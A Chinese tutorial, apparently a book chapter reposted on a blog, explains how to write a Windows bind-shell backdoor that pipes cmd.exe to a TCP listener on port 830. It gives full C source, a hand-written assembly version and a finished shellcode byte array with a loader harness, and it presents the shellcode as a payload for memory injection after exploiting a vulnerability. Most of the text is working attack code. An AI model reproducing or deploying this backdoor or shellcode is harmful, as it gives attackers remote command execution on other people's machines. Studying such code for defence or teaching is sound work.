本文将介绍如何将CMD绑定到双向管道上,这是一种常用的黑客反弹技巧,可以让用户在命令行界面下与其他程序进行交互,我们将从创建管道、启动进程、传输数据等方面对这个功能进行详细讲解。此外,本文还将通过使用汇编语言一步步来实现这个可被注入的ShellCode后门,并以此提高代码通用性。最终,我们将通过一个实际的漏洞攻击场景来展示如何利用这个后门实现内存注入攻击。

1.6.1 什么是匿名管道

首先管道(Pipe)是一种IPC机制,用于在同一台计算机上进行进程间通信。它可以让一个进程将数据写入到管道中,然后另一个进程可以从管道中读取这些数据。一般而言管道可以分为匿名管道(Anonymous Pipe)或命名管道(Named Pipe)两种形式。

  • 匿名管道是一种临时的管道,只能用于父子进程之间或兄弟进程之间的通信。它是一个双向的、无名的、半双工的通道,只能在创建它的进程及其子进程之间进行通信。
  • 命名管道是一种具有名称的管道,可以用于在不同的进程之间进行通信。命名管道可以在不同的进程之间共享,并可以在多个进程之间传递数据。它可以是单向的或双向的,可以使用同步或异步方式进行通信。

在实现中,管道通常是由操作系统提供的一段共享内存区域。在管道创建时,操作系统会为管道分配一段内存区域,该内存区域由创建管道的进程和与其通信的进程共享。当进程往管道中写入数据时,数据会被存储在管道的内存缓冲区中,然后等待另一个进程从管道中读取数据。当另一个进程读取管道中的数据时,数据将从内存缓冲区中被读取并且被删除,从而保证数据传输的正确性和可靠性。

有了管道的支持,我们向其他进程传输数据时就可像对普通文件读写那样简单。管道操作的标识符是HANDLE句柄,当管道被正确创建时则,我们可以直接使用ReadFile、WriteFile等文件读写函数来读写它,读者无需了解网络间进程间通信的细节部分;

一般匿名管道的创建需要调用CreatePipe()函数实现,它可以创建一个管道,并返回两个句柄,一个用于读取管道数据,另一个用于写入管道数据。

CreatePipe函数的语法如下:

  1. BOOL CreatePipe(
  2. PHANDLE hReadPipe, // 读取管道数据的句柄指针
  3. PHANDLE hWritePipe, // 写入管道数据的句柄指针
  4. LPSECURITY_ATTRIBUTES lpPipeAttributes, // 指向安全属性结构的指针
  5. DWORD nSize // 管道缓冲区大小,若为0则使用默认大小
  6. );

其中,hReadPipehWritePipePHANDLE类型的指针,用于接收读取和写入管道的句柄。lpPipeAttributes是指向SECURITY_ATTRIBUTES结构的指针,用于指定管道的安全属性,通常设置为NULLnSize是管道缓冲区的大小,若为0则使用默认大小。在使用CreatePipe函数创建匿名管道后,读者可以使用WriteFile函数往管道中写入数据,也可以使用ReadFile函数从管道中读取数据。读取和写入管道的操作需要使用相应的句柄。


小提示:匿名管道只能在具有亲缘关系的进程之间使用,即父子进程或兄弟进程,通过设置CreateProcess函数中的bInheritHandles属性为True则可实现父子进程,如果需要在不同的进程之间使用管道进行通信,则应该使用命名管道。


接着来简单介绍一下CreateProcess函数,该函数用于创建一个新的进程,返回值非0表示成功,为0表示失败。为了让2个进程产生父子及继承关系,参数bInheritHandles应设置为True,该函数的原型如下所示;

  1. BOOL CreateProcess(
  2. LPCWSTR lpApplicationName, // 可执行文件名或者命令行
  3. LPWSTR lpCommandLine, // 命令行参数
  4. LPSECURITY_ATTRIBUTES lpProcessAttributes,// 进程安全属性
  5. LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程安全属性
  6. BOOL bInheritHandles, // 是否继承父进程的句柄
  7. DWORD dwCreationFlags, // 进程创建标志
  8. LPVOID lpEnvironment, // 新进程的环境块指针
  9. LPCWSTR lpCurrentDirectory, // 新进程的工作目录
  10. LPSTARTUPINFO lpStartupInfo, // STARTUPINFO 结构体指针
  11. LPPROCESS_INFORMATION lpProcessInformation// PROCESS_INFORMATION 结构体指针
  12. );

实现匿名管道通信,我们还需要了解最后一个函数PeekNamedPipe,该函数用于检查命名管道中的是否有数据,函数返回值为BOOL类型,如果函数调用成功,则返回TRUE,否则返回FALSE

该函数的原型定义如下所示;

  1. BOOL PeekNamedPipe(
  2. HANDLE hNamedPipe, // 命名管道的句柄
  3. LPVOID lpBuffer, // 存储读取数据的缓冲区
  4. DWORD nBufferSize, // 缓冲区的大小
  5. LPDWORD lpBytesRead, // 实际读取的字节数
  6. LPDWORD lpTotalBytesAvail, // 管道中可用的字节数
  7. LPDWORD lpBytesLeftThisMessage // 下一条消息剩余的字节数
  8. );

在调用成功的情况下,lpBytesRead参数返回实际读取的字节数,lpTotalBytesAvail参数返回管道中可用的字节数,lpBytesLeftThisMessage参数返回下一条消息剩余的字节数。如果命名管道为空,则函数会阻塞等待数据到来,当接收到数据时则读者即可通过调用ReadFile在管道中读取数据,或调用WriteFile来向管道写入数据,至此关键的API函数已经介绍完了;

1.6.2 C语言实现双管道后门

其实匿名管道反弹CMD的工作原理可以理解为,首先攻击机发命令并通过Socket传给目标机的父进程,目标机的父进程又通过一个匿名管道传给子进程,这里的子进程是cmd.exe,CMD执行命令后,把结果通过另一个匿名管道返给父进程,父进程最后再通过Socket返回给攻击机,以此则实现了反弹Shell的目的;

接着我们就来实现这个双向匿名管道功能,在实现管道之前需要先建立套接字,首先使用WSAStartup函数初始化Winsock库,并使用socket函数创建一个套接字。然后,使用bind函数将套接字绑定到特定的IP地址和端口号。listen函数将套接字设置为侦听传入的连接,而accept函数会一直阻塞直到建立客户端连接。一旦连接建立,代码会返回客户端的套接字描述符clientFD。

  1. WSADATA ws;
  2. SOCKET listenFD;
  3. char Buff[1024];
  4. int ret;
  5. // 初始化网络通信库
  6. WSAStartup(MAKEWORD(2, 2), &ws);
  7. // 建立Socket套接字
  8. listenFD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  9. // 配置通信协议属性,并监听本机830端口
  10. struct sockaddr_in server;
  11. server.sin_family = AF_INET;
  12. server.sin_port = htons(830);
  13. server.sin_addr.s_addr = ADDR_ANY;
  14. // 开始绑定套接字
  15. ret = bind(listenFD, (sockaddr *)&server, sizeof(server));
  16. // 侦听套接字链接
  17. ret = listen(listenFD, 2);
  18. // 接受一个连接
  19. int iAddrSize = sizeof(server);
  20. SOCKET clientFD = accept(listenFD, (sockaddr *)&server, &iAddrSize);

有了套接字功能,则第二步需要创建两个PIPE管道,其中第一个管道用于输出执行结果,第二个管道用于输入命令,把CMD子进程输出句柄用管道1的写句柄替换,此时主进程就可以通过读管道1的读句柄来获得输出;另外,我们还要把CMD子进程的输入句柄用2的读句柄替换,此时主进程就可以通过写管道2的写句柄来输入命令。

其通信过程如下:

  • (远程主机)←输入←管道1输出←管道1输入←输出(CMD子进程)
  • (远程主机)→输出→管道2输入→管道2输出→输入(CMD子进程)
  1. SECURITY_ATTRIBUTES pipeattr1, pipeattr2;
  2. HANDLE hReadPipe1, hWritePipe1, hReadPipe2, hWritePipe2;
  3. // 建立匿名管道1
  4. pipeattr1.nLength = 12;
  5. pipeattr1.lpSecurityDescriptor = 0;
  6. pipeattr1.bInheritHandle = true;
  7. CreatePipe(&hReadPipe1, &hWritePipe1, &pipeattr1, 0);
  8. // 建立匿名管道2
  9. pipeattr2.nLength = 12;
  10. pipeattr2.lpSecurityDescriptor = 0;
  11. pipeattr2.bInheritHandle = true;
  12. CreatePipe(&hReadPipe2, &hWritePipe2, &pipeattr2, 0);

为了得到上述绑定效果,我们在设置CMD子进程STARTUPINFO启动参数时就应该做好绑定工作,通过填入如下所示的变量值,并调用CreateProcess实现对进程的绑定,通过替换进程的输出句柄为管道1的写句柄,输入句柄为管道2的读句柄。最后再开启CMD命令就实现了绑定功能,代码如下所示;

  1. // 填充所需参数实现子进程与主进程通信
  2. STARTUPINFO si;
  3. ZeroMemory(&si, sizeof(si));
  4. si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  5. si.wShowWindow = SW_HIDE;
  6. si.hStdInput = hReadPipe2;
  7. si.hStdOutput = si.hStdError = hWritePipe1;
  8. char cmdLine[] = "cmd.exe";
  9. PROCESS_INFORMATION ProcessInformation;
  10. // 建立进程绑定参数
  11. ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);

当CMD子进程启动后,则下一步则是和远程攻击机之间建立通信,如下代码通过使用PeekNamedPiperecv函数不断检查从远程客户端或CMD进程接收到的数据。如果从CMD进程中有可读数据,则使用ReadFile函数读取该数据并使用send函数发送回远程客户端。如果没有数据可读,则程序接收从远程客户端发来的命令,并将命令写入管道2,即传给CMD进程。这个过程不断循环执行,直到出现错误或收到退出命令。

  1. unsigned long lBytesRead;
  2. while (1)
  3. {
  4. // 检查管道1 即CMD进程是否有输出
  5. ret = PeekNamedPipe(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0);
  6. if (lBytesRead)
  7. {
  8. //管道1有输出 读出结果发给远程客户机
  9. ret = ReadFile(hReadPipe1, Buff, lBytesRead, &lBytesRead, 0);
  10. if (!ret)
  11. {
  12. break;
  13. }
  14. ret = send(clientFD, Buff, lBytesRead, 0);
  15. if (ret <= 0)
  16. {
  17. break;
  18. }
  19. }
  20. else
  21. {
  22. // 否则接收远程客户机的命令
  23. lBytesRead = recv(clientFD, Buff, 1024, 0);
  24. if (lBytesRead <= 0)
  25. {
  26. break;
  27. }
  28. // 将命令写入管道2 即传给cmd进程
  29. ret = WriteFile(hWritePipe2, Buff, lBytesRead, &lBytesRead, 0);
  30. if (!ret)
  31. {
  32. break;
  33. }
  34. }
  35. }

如上代码所示就是完整的双向匿名管道的实现原理,我们通过整合并编译,打开编译后的可执行程序,此时读者可使用netcat工具执行nc 127.0.0.1 830则可连接到该后门内部,并以此获得一个Shell后门,此时读者可执行任意命令,输出效果如下图所示;

1.6.3 汇编实现并提取ShellCode

在之前文章中我们介绍了如何使用C语言创建一个双管道通信后门,而对于在实战中,往往需要直接注入后门到内存,此时将后门转换为ShellCode是一个不错的选择,首先为了保证文章的篇幅不宜过长,此处暂且不考虑生成汇编代码的通用性,首先我们需要得到在当前系统中所需要使用的函数的动态地址,至于如何提取这些动态地址,在之前的文章通用ShellCode提取中有过详细的介绍,此处我们就直接给出实现代码;

  1. #include <Windows.h>
  2. #include <iostream>
  3. typedef void(*MyProcess)(LPSTR);
  4. int main(int argc, char *argv[])
  5. {
  6. HINSTANCE KernelHandle;
  7. HINSTANCE WS2Handle;
  8. MyProcess ProcAddr;
  9. KernelHandle = LoadLibrary(L"kernel32");
  10. printf("kernel32 address = 0x%x\n", KernelHandle);
  11. WS2Handle = LoadLibrary(L"ws2_32");
  12. printf("ws2_32 address = 0x%x\n\n", WS2Handle);
  13. CHAR *FuncList[13] =
  14. {
  15. "CreatePipe", "CreateProcessA", "PeekNamedPipe", "WriteFile", "ReadFile", "ExitProcess",
  16. "WSAStartup", "socket", "bind", "listen", "accept", "send", "recv"
  17. };
  18. for (size_t i = 0; i < 13; i++)
  19. {
  20. if (i < 6)
  21. {
  22. // 输出kerlen32中的参数
  23. ProcAddr = (MyProcess)GetProcAddress(KernelHandle, FuncList[i]);
  24. printf("%s = 0x%x \n", FuncList[i], ProcAddr);
  25. }
  26. else
  27. {
  28. // 输出ws2中的参数
  29. ProcAddr = (MyProcess)GetProcAddress(WS2Handle, FuncList[i]);
  30. printf("%s = 0x%x \n", FuncList[i], ProcAddr);
  31. }
  32. }
  33. system("pause");
  34. return 0;
  35. }

当读者运行这段程序时,则会输出kernel32.dllws2_32.dll的模块基址,同时还会输出"CreatePipe", "CreateProcessA", "PeekNamedPipe", "WriteFile", "ReadFile", "ExitProcess","WSAStartup", "socket", "bind", "listen", "accept", "send", "recv"这些我们所需要的函数的内存地址,输出效果如下图所示;

接着我们需要将这些函数内存地址依次填充到汇编代码中,将其动态压入堆栈保存,如下是笔者填充过的汇编代码片段,此处的十六进制数读者电脑中的与笔者一定不一致,请读者自行替换即可;

  1. mov eax,0x763e2d70
  2. mov [ebp+4], eax; CreatePipe
  3. mov eax,0x763e2d90
  4. mov [ebp+8], eax; CreateProcessA
  5. mov eax,0x763e4140
  6. mov [ebp+12], eax; PeekNamedPipe
  7. mov eax,0x763d35b0
  8. mov [ebp+16], eax; WriteFile
  9. mov eax,0x763d34c0
  10. mov [ebp+20], eax; ReadFile
  11. mov eax,0x763d4100
  12. mov [ebp+24], eax; ExitProcess
  13. mov eax,0x76c29cc0
  14. mov [ebp+28], eax; WSAStartup
  15. mov eax,0x76c2c990
  16. mov [ebp+32], eax; socket
  17. mov eax,0x76c2d890
  18. mov [ebp+36], eax; bind
  19. mov eax,0x76c35d90
  20. mov [ebp+40], eax; listen
  21. mov eax,0x76c369c0
  22. mov [ebp+44], eax; accept
  23. mov eax,0x76c358a0
  24. mov [ebp+48], eax; send
  25. mov eax,0x76c323a0
  26. mov [ebp+52], eax; recv

小提示:STDcall是一种调用约定,用于指定函数参数的传递方式、函数返回值的处理方式以及函数调用后堆栈的清理方式,它在Windows平台上广泛使用。该调用规定,函数的参数从右到左依次入栈,函数返回值存储在EAX寄存器中。在函数调用后,由调用方负责清理堆栈上的参数,因此被调用函数不需要执行额外的堆栈清理操作。


在源程序的第一句指令,是执行WSAStartup(0x202, &ws)。我们按照32位下函数的STDCALL调用规范,首先将参数从右至左依次压入栈中,其中该函数的第二个参数&ws表示一个地址,因为WS地址已经不再使用了,所以此处我们就随意压入一个地址即可(比如ESP的值),第一个参数时0x202则此时我们直接使用push 0x202压入,至此函数的参数已经填充完毕了,接下来则是调用该函数,因WSAStartup的地址保存在[ebp+28]中,所以我们通过call [ebp+28]就可以调用到该地址啦。

  1. push esp
  2. push 0x202
  3. call [ebp + 28] // WSAStartup地址

接着是原程序中的第二个函数Socket(2,1,6)读者需要先将6、1、2依次入栈,最后再call socket的地址,也就是调用[ebp + 32]即可实现调用。

  1. ; socket(2,1,6)
  2. push 6
  3. push 1
  4. push 2
  5. call [ebp + 32]
  6. mov ebx, eax // 将套接字保存到EBX中

读者是否会有疑问,此处为什么会传递这些参数呢,读者可在源程序的开头位置设置断点,并打开反汇编窗口,观察建立Socket的参数传递情况,即可一目了然;

接着我们继续提取第三个关键函数Bind()绑定函数,相比于前两个函数而言,绑定函数要显得更加复杂一些,原因是该函数需要填充一个sockaddr_in的结构体变量,所以在填充参数之前还需要具体分析;

  1. struct sockaddr_in server;
  2. server.sin_family = AF_INET;
  3. server.sin_port = htons(830);
  4. server.sin_addr.s_addr=ADDR_ANY;
  5. ret=bind(listenFD,(sockaddr *)&server,sizeof(server));

我们还是借助VS工具,在bind()函数上下断点,并打开反汇编窗口(Ctrl+Alt+D),观察编译器是如何编译处理的,如下图所示;

高级语言执行bind时,首先是将0x10入栈,说明sizeof(server)的参数传递其实就是0x10

第二个参数&serversockaddr_in结构的地址。在sockaddr_in结构中,包括了绑定的协议、IP、端口号等值。和在堆栈中构造字符串一样,我们也在栈中构造出sockaddr_in的结构,那么esp就是sockaddr_in结构的地址了。

为了能够更好的提取到第二个参数的压入信息,我们需要将调试器运行到listen(listenFD, 2)处,并打开内存窗口,输出&server跳转到当前结构体填充位置处,读者可看到如下内存数据;

从上图中可看出,如下执行后其实就是得到了02 00 03 3E 00 00 00 00,知道了确切要赋的值,我们就依葫芦画瓢,开始压栈push 0x0000,push 0x0000,push 0x3E030002此时我们就在堆栈中构造出了sockaddr_in结构的值,而且esp就正好是结构的地址。我们把它保存给esi作为第二个参数压入堆栈。

好了,剩下就简单了,最后一个参数是socket。上面执行了socket()后,我们把socket的值保存在了ebx中,所以将ebx压入就可以了。最后call调用函数。bind函数地址存放在[ebp + 36]中,将这段汇编代码结合起来就像如下所示。

  1. ; bind(listenFD,(sockaddr *)&server,sizeof(server));
  2. xor edi,edi // 先构造server
  3. push edi
  4. push edi
  5. mov eax,0x3E030002
  6. ; port 830 AF_INET
  7. push eax
  8. mov esi, esp // 把server地址赋给esi
  9. push 0x10 ; length
  10. push esi ; &server
  11. push ebx ; socket
  12. call [ebp + 36] ; bind

好了根据上述方法,读者需要依次跟踪代码执行流程,并嫁给你所需要的参数依次提取出来,最终将这些参数组合在一起,即可得到如下方所示的一段汇编代码片段;

  1. #include <Windows.h>
  2. #include <iostream>
  3. int main(int argc, char *argv[])
  4. {
  5. LoadLibrary("kernel32.dll");
  6. LoadLibrary("ws2_32.dll");
  7. __asm
  8. {
  9. push ebp;
  10. sub esp, 80;
  11. mov ebp, esp;
  12. // 替换所需函数地址
  13. mov eax, 0x763e2d70
  14. mov[ebp + 4], eax; CreatePipe
  15. mov eax, 0x763e2d90
  16. mov[ebp + 8], eax; CreateProcessA
  17. mov eax, 0x763e4140
  18. mov[ebp + 12], eax; PeekNamedPipe
  19. mov eax, 0x763d35b0
  20. mov[ebp + 16], eax; WriteFile
  21. mov eax, 0x763d34c0
  22. mov[ebp + 20], eax; ReadFile
  23. mov eax, 0x763d4100
  24. mov[ebp + 24], eax; ExitProcess
  25. mov eax, 0x76c29cc0
  26. mov[ebp + 28], eax; WSAStartup
  27. mov eax, 0x76c2c990
  28. mov[ebp + 32], eax; socket
  29. mov eax, 0x76c2d890
  30. mov[ebp + 36], eax; bind
  31. mov eax, 0x76c35d90
  32. mov[ebp + 40], eax; listen
  33. mov eax, 0x76c369c0
  34. mov[ebp + 44], eax; accept
  35. mov eax, 0x76c358a0
  36. mov[ebp + 48], eax; send
  37. mov eax, 0x76c323a0
  38. mov[ebp + 52], eax; recv
  39. mov eax, 0x0
  40. mov[ebp + 56], 0
  41. mov[ebp + 60], 0
  42. mov[ebp + 64], 0
  43. mov[ebp + 68], 0
  44. mov[ebp + 72], 0
  45. LWSAStartup:
  46. ; WSAStartup(0x202, DATA)
  47. sub esp, 400
  48. push esp
  49. push 0x202
  50. call[ebp + 28]
  51. socket:
  52. ; socket(2, 1, 6)
  53. push 6
  54. push 1
  55. push 2
  56. call[ebp + 32]
  57. mov ebx, eax; save socket to ebx
  58. LBind :
  59. ; bind(listenFD, (sockaddr *)&server, sizeof(server));
  60. xor edi, edi
  61. push edi
  62. push edi
  63. mov eax, 0x3E030002
  64. push eax; port 830 AF_INET
  65. mov esi, esp
  66. push 0x10; length
  67. push esi; &server
  68. push ebx; socket
  69. call[ebp + 36]; bind
  70. LListen :
  71. ; listen(listenFD, 2)
  72. inc edi
  73. inc edi
  74. push edi; 2
  75. push ebx; socket
  76. call[ebp + 40]; listen
  77. LAccept :
  78. ; accept(listenFD, (sockaddr *)&server, &iAddrSize)
  79. push 0x10
  80. lea edi, [esp]
  81. push edi
  82. push esi; &server
  83. push ebx; socket
  84. call[ebp + 44]; accept
  85. mov ebx, eax; save newsocket to ebx
  86. Createpipe1 :
  87. ; CreatePipe(&hReadPipe1, &hWritePipe1, &pipeattr1, 0);
  88. xor edi, edi
  89. inc edi
  90. push edi
  91. xor edi, edi
  92. push edi
  93. push 0xc; pipeattr
  94. mov esi, esp
  95. push edi; 0
  96. push esi; pipeattr1
  97. lea eax, [ebp + 60]; &hWritePipe1
  98. push eax
  99. lea eax, [ebp + 56]; &hReadPipe1
  100. push eax
  101. call[ebp + 4]
  102. CreatePipe2:
  103. ; CreatePipe(&hReadPipe2, &hWritePipe2, &pipeattr2, 0);
  104. push edi; 0
  105. push esi; pipeattr2
  106. lea eax, [ebp + 68]; hWritePipe2
  107. push eax
  108. lea eax, [ebp + 64]; hReadPipe2
  109. push eax
  110. call[ebp + 4]
  111. CreateProcess:
  112. ; ZeroMemory TARTUPINFO, 10h PROCESS_INFORMATION 44h
  113. sub esp, 0x80
  114. lea edi, [esp]
  115. xor eax, eax
  116. push 0x80
  117. pop ecx
  118. rep stosd
  119. ; si.dwFlags
  120. lea edi, [esp]
  121. mov eax, 0x0101
  122. mov[edi + 2ch], eax;
  123. ; si.hStdInput = hReadPipe2 ebp + 64
  124. mov eax, [ebp + 64]
  125. mov[edi + 38h], eax
  126. ; si.hStdOutput si.hStdError = hWritePipe1 ebp + 60
  127. mov eax, [ebp + 60]
  128. mov[edi + 3ch], eax
  129. mov eax, [ebp + 60]
  130. mov[edi + 40h], eax
  131. ; cmd.exe
  132. mov eax, 0x00646d63
  133. mov[edi + 64h], eax; cmd
  134. ; CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation)
  135. lea eax, [esp + 44h]
  136. push eax; &pi
  137. push edi; &si
  138. push ecx; 0
  139. push ecx; 0
  140. push ecx; 0
  141. inc ecx
  142. push ecx; 1
  143. dec ecx
  144. push ecx; 0
  145. push ecx; 0
  146. lea eax, [edi + 64h]; "cmd"
  147. push eax
  148. push ecx; 0
  149. call[ebp + 8]
  150. loop1:
  151. ; while1
  152. ; PeekNamedPipe(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0);
  153. sub esp, 400h;
  154. mov esi, esp; esi = Buff
  155. xor ecx, ecx
  156. push ecx; 0
  157. push ecx; 0
  158. lea edi, [ebp + 72]; &lBytesRead
  159. push edi
  160. mov eax, 400h
  161. push eax; 1024
  162. push esi; Buff
  163. mov eax, [ebp + 56]
  164. push eax; hReadPipe1
  165. call[ebp + 12]
  166. mov eax, [edi]
  167. test eax, eax
  168. jz recv_command
  169. send_result :
  170. ; ReadFile(hReadPipe1, Buff, lBytesRead, &lBytesRead, 0)
  171. xor ecx, ecx
  172. push ecx; 0
  173. push edi; &lBytesRead
  174. push[edi]; hReadPipe1
  175. push esi; Buff
  176. push[ebp + 56]; hReadPipe1
  177. call[ebp + 20]
  178. ; send(clientFD, Buff, lBytesRead, 0)
  179. xor ecx, ecx
  180. push ecx; 0
  181. push[edi]; lBytesRead
  182. push esi; Buff
  183. push ebx; clientFD
  184. call[ebp + 48]
  185. jmp loop1
  186. recv_command :
  187. ; recv(clientFD, Buff, 1024, 0)
  188. xor ecx, ecx
  189. push ecx
  190. mov eax, 400h
  191. push eax
  192. push esi
  193. push ebx
  194. call[ebp + 52]
  195. //lea ecx,[edi]
  196. mov[edi], eax
  197. ; WriteFile(hWritePipe2, Buff, lBytesRead, &lBytesRead, 0)
  198. xor ecx, ecx
  199. push ecx
  200. push edi
  201. push[edi]
  202. push esi
  203. push[ebp + 68]
  204. call[ebp + 16]
  205. jmp loop1
  206. end :
  207. }
  208. system("pause");
  209. return 0;
  210. }

接下来则是提取特征码,提取时读者可以使用如下程序实现,将上方汇编代码放入到ShellCodeStart-ShellCodeEnd区域内,运行后则可提取出特定特征码参数;

  1. #include <stdio.h>
  2. #include <Windows.h>
  3. int main(int argc, char* argv[])
  4. {
  5. DWORD Start, End, Len;
  6. goto GetShellCode;
  7. __asm
  8. {
  9. ShellCodeStart:
  10. xor eax, eax
  11. xor ebx, ebx
  12. xor ecx, ecx
  13. xor edx, edx
  14. int 3
  15. ShellCodeEnd:
  16. }
  17. GetShellCode:
  18. __asm
  19. {
  20. mov Start, offset ShellCodeStart
  21. mov End, offset ShellCodeEnd
  22. }
  23. Len = End - Start;
  24. unsigned char* newBuffer = new unsigned char[Len + 1024];
  25. memset(newBuffer, 0, Len + 1024);
  26. memcpy(newBuffer, (unsigned char*)Start, Len);
  27. for (size_t i = 0; i < Len; i++)
  28. {
  29. printf("\\x%x", newBuffer[i]);
  30. }
  31. // 直接写出二进制
  32. /*
  33. FILE* fp_bin = fopen("d://shellcode.bin", "wb+");
  34. fwrite(newBuffer, Len, 1, fp_bin);
  35. _fcloseall();
  36. // 写出Unicode格式ShellCode
  37. FILE *fp_uncode = fopen("c://un_ShellCode.txt", "wb+");
  38. for (int x = 0; x < Len; x++)
  39. {
  40. fprintf(fp_uncode, "%%u%02x%02x", newBuffer[x + 1], newBuffer[x]);
  41. }
  42. _fcloseall();
  43. */
  44. system("pause");
  45. return 0;
  46. }

运行后,则可自动提取出特征码,如下图所示;

至此请读者自行将上述ShellCode代码替换之如下测试框架中测试;

  1. #include <stdio.h>
  2. #include <Windows.h>
  3. unsigned char ShellCode[] =
  4. "\x55\x83\xec\x50\x8b\xec\xb8\x70\x2d\x3e\x76\x89\x45\x4\xb8\x90\x2d\x3e\x76"
  5. "\x89\x45\x8\xb8\x40\x41\x3e\x76\x89\x45\xc\xb8\xb0\x35\x3d\x76\x89\x45"
  6. "\x10\xb8\xc0\x34\x3d\x76\x89\x45\x14\xb8\x0\x41\x3d\x76\x89\x45\x18\xb8\xc0\x9c\xc2"
  7. "\x76\x89\x45\x1c\xb8\x90\xc9\xc2\x76\x89\x45\x20\xb8\x90\xd8\xc2\x76\x89\x45\x24\xb8"
  8. "\x90\x5d\xc3\x76\x89\x45\x28\xb8\xc0\x69\xc3\x76\x89\x45\x2c\xb8\xa0\x58\xc3\x76\x89"
  9. "\x45\x30\xb8\xa0\x23\xc3\x76\x89\x45\x34\xb8\x0\x0\x0\x0\xc6\x45\x38\x0\xc6\x45\x3c"
  10. "\x0\xc6\x45\x40\x0\xc6\x45\x44\x0\xc6\x45\x48\x0\x81\xec\x90\x1\x0\x0\x54\x68\x2\x2"
  11. "\x0\x0\xff\x55\x1c\x6a\x6\x6a\x1\x6a\x2\xff\x55\x20\x8b\xd8\x33\xff\x57\x57\xb8\x2\x0"
  12. "\x3\x3e\x50\x8b\xf4\x6a\x10\x56\x53\xff\x55\x24\x47\x47\x57\x53\xff\x55\x28\x6a\x10\x8d"
  13. "\x3c\x24\x57\x56\x53\xff\x55\x2c\x8b\xd8\x33\xff\x47\x57\x33\xff\x57\x6a\xc\x8b\xf4\x57\x56"
  14. "\x8d\x45\x3c\x50\x8d\x45\x38\x50\xff\x55\x4\x57\x56\x8d\x45\x44\x50\x8d\x45\x40\x50\xff\x55"
  15. "\x4\x81\xec\x80\x0\x0\x0\x8d\x3c\x24\x33\xc0\x68\x80\x0\x0\x0\x59\xf3\xab\x8d\x3c\x24\xb8"
  16. "\x1\x1\x0\x0\x89\x47\x2c\x8b\x45\x40\x89\x47\x38\x8b\x45\x3c\x89\x47\x3c\x8b\x45\x3c\x89\x47"
  17. "\x40\xb8\x63\x6d\x64\x0\x89\x47\x64\x8d\x44\x24\x44\x50\x57\x51\x51\x51\x41\x51\x49\x51\x51"
  18. "\x8d\x47\x64\x50\x51\xff\x55\x8\x81\xec\x0\x4\x0\x0\x8b\xf4\x33\xc9\x51\x51\x8d\x7d\x48\x57"
  19. "\xb8\x0\x4\x0\x0\x50\x56\x8b\x45\x38\x50\xff\x55\xc\x8b\x7\x85\xc0\x74\x19\x33\xc9\x51\x57"
  20. "\xff\x37\x56\xff\x75\x38\xff\x55\x14\x33\xc9\x51\xff\x37\x56\x53\xff\x55\x30\xeb\xc3\x33\xc9"
  21. "\x51\xb8\x0\x4\x0\x0\x50\x56\x53\xff\x55\x34\x89\x7\x33\xc9\x51\x57\xff\x37\x56\xff\x75\x44"
  22. "\xff\x55\x10\xeb\xa4";
  23. int main(int argc, char* argv[])
  24. {
  25. LoadLibrary("kernel32.dll");
  26. LoadLibrary("ws2_32.dll");
  27. __asm
  28. {
  29. lea eax, ShellCode
  30. call eax
  31. }
  32. system("pause");
  33. return 0;
  34. }

当读者运行该程序时,则会弹出服务端请求网络创建功能,此时我们的ShellCode就算成功提取出来了,输出效果图如下所示;

1.6 编写双管道ShellCode的更多相关文章

  1. python Pipe 双管道通信

    管道:是python多进程中一种交换数据的方式 from multiprocessing import Process,current_process,Queue,Pipe import time i ...

  2. 缓冲区溢出分析第05课:编写通用的ShellCode

    前言 我们这次的实验所要研究的是如何编写通用的ShellCode.可能大家会有疑惑,我们上次所编写的ShellCode已经能够很好地完成任务,哪里不通用了呢?其实这就是因为我们上次所编写的ShellC ...

  3. 编写X86的ShellCode

    ShellCode 定义 ShellCode是不依赖环境,放到任何地方都能够执行的机器码 编写ShellCode的方式有两种,分别是用编程语言编写或者用ShellCode生成器自动生成 ShellCo ...

  4. 用命令关键字(Cmdlet Keyworlds)编写面向管道的脚本

    使用begin  process和end关键字 把你的脚本分成 初始化 处理和清楚几个区域

  5. 三、后门的编写和 ShellCode 的提取

    第三章.后门的编写和 ShellCode 的提取 (一)IP 和 Socket 编程初步 NOTES: 1.Windows 下网络通信编程的几种方式 第一种是基于 NetBIOS 的网络编程,这种方法 ...

  6. 二、Windows 下 ShellCode 编写初步

    第二章.Windows 下 ShellCode 编写初步 (一)shellcode 定义:最先的 Shell 指的是人机交互界面,ShellCode 是一组能完成我们想要的功能的机器代码,通常以十六进 ...

  7. Linux下shellcode的编写

    Linux下shellcode的编写 来源  https://xz.aliyun.com/t/2052 EdvisonV / 2018-02-14 22:00:42 / 浏览数 6638 技术文章 技 ...

  8. FreeBSD上编写x86 Shellcode初学者指南

    FreeBSD上编写x86 Shellcode初学者指南 来源 https://www.4hou.com/binary/14375.html 介绍 本教程的目的是帮助你熟悉如何在FreeBSD操作系统 ...

  9. 【读书笔记】管道和FIFO

    管道 提供一个单路(单向)数据流,可以为两个不同进程提供进程间的通信手段 #include <unistd.h> ]); 返回两个文件描述符,fd[0](读) 和 fd[1](写) 管道间 ...

  10. Linux进程间通信(九)---综合实验之有名管道通信实验

    实验目的 通过编写有名管道多路通信实验,进一步掌握管道的创建.读写等操作,同时复习使用select()函数实现管道的通信. 实验内容 这里采用管道函数创建有名管道(不是在控制台下输入命令mknod), ...

随机推荐

  1. 从数据链路到神秘的MAC地址和ARP协议

    引言 链路是指从一个结点到相邻结点的一段物理线路.数据链路是在链路的基础上增加了一些必要的硬件和软件.这些硬件包括网络适配器,而软件则包括协议的实现.在网络中,主机.路由器等设备都必须实现数据链路层. ...

  2. umount.nfs4: /home/videorec/sharedir: device is busy

    用umount取消挂载时报错设备繁忙:device is busy.原因是还有进程在打开目录下的文件,可以先杀死进程,再卸载,或者强制卸载 umount 使用umount强制卸载,参数如下: -l  ...

  3. 国内加速访问Github的办法

    说明 自从GitHub私有库免费后,又涌入了一大批开发爱好者. 但国内访问GitHub的速度实在是慢得一匹,在clone仓库时甚至只有10k以下的速度,大大影响了程序员的交友效率. 国内加速访问Git ...

  4. POJ 1011 Sticks​ (DFS + 剪枝)

